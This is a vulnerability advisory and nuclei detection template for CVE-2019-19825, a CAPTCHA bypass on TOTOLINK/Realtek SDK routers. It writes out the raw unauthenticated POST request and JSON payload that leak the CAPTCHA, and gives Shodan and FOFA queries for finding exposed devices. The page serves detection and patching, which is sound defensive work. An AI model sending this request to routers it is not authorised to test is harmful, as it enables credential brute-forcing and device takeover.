TOTOLINK/Realtek Routers - CAPTCHA Bypass

criticalseverity

9.8CVSS score

29.6%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.

Impact

Unauthenticated attackers can bypass CAPTCHA verification to brute-force credentials and gain unauthorized administrative access, leading to complete device control and potential network compromise.

Fix

Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives.

How to confirm it

Send: POST /boafrm/formLogin
Positive when: regex("^[A-Za-z0-9]{4}$", body) and contains(content_type, "text/html") and content_length == 4 and status_code == 200

Run it with nuclei: nuclei -id CVE-2019-19825 -u <target>

The full check

id: CVE-2019-19825

info:
  name: TOTOLINK/Realtek Routers - CAPTCHA Bypass
  author: ritikchaddha
  severity: critical
  description: |
    On certain TOTOLINK Realtek SDK based routers, the CAPTCHA text can be retrieved via a POST request to the boafrm/formLogin URI with the JSON payload {"topicurl":"setting/getSanvas"}. This allows an unauthenticated attacker to bypass CAPTCHA verification, gaining unauthorized access to restricted functions. Once valid credentials are known or brute-forced, an attacker can fully control the device using HTTP requests and Basic Authentication. Affected router models include A3002RU through 2.0.0, A702R through 2.1.3, N301RT through 2.1.6, N302R through 3.4.0, N300RT through 3.4.0, N200RE through 4.0.0, N150RT through 3.4.0, N100RE through 3.4.0, and other Realtek SDK-derived devices.
  impact: |
    Unauthenticated attackers can bypass CAPTCHA verification to brute-force credentials and gain unauthorized administrative access, leading to complete device control and potential network compromise.
  remediation: |
    Upgrade to firmware versions beyond those listed as vulnerable, or replace affected devices with patched alternatives.
  reference:
    - http://packetstormsecurity.com/files/156083/Realtek-SDK-Information-Disclosure-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19825
  classification:
    cve-id: CVE-2019-19825
    epss-score: 0.29557
    epss-percentile: 0.98204
    cwe-id: CWE-287
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
  metadata:
    verified: true
    max-requests: 1
    vendor: totolink
    product: totolink-router
    fofa-query: title="totolink"
    shodan-query: http.html:"TOTOLINK"
  tags: cve,cve2019,totolink,realtek,captcha,bypass,vkev,vuln

http:
  - raw:
      - |
        POST /boafrm/formLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"topicurl":"setting/getSanvas"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("^[A-Za-z0-9]{4}$", body)'
          - 'contains(content_type, "text/html")'
          - 'content_length == 4'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from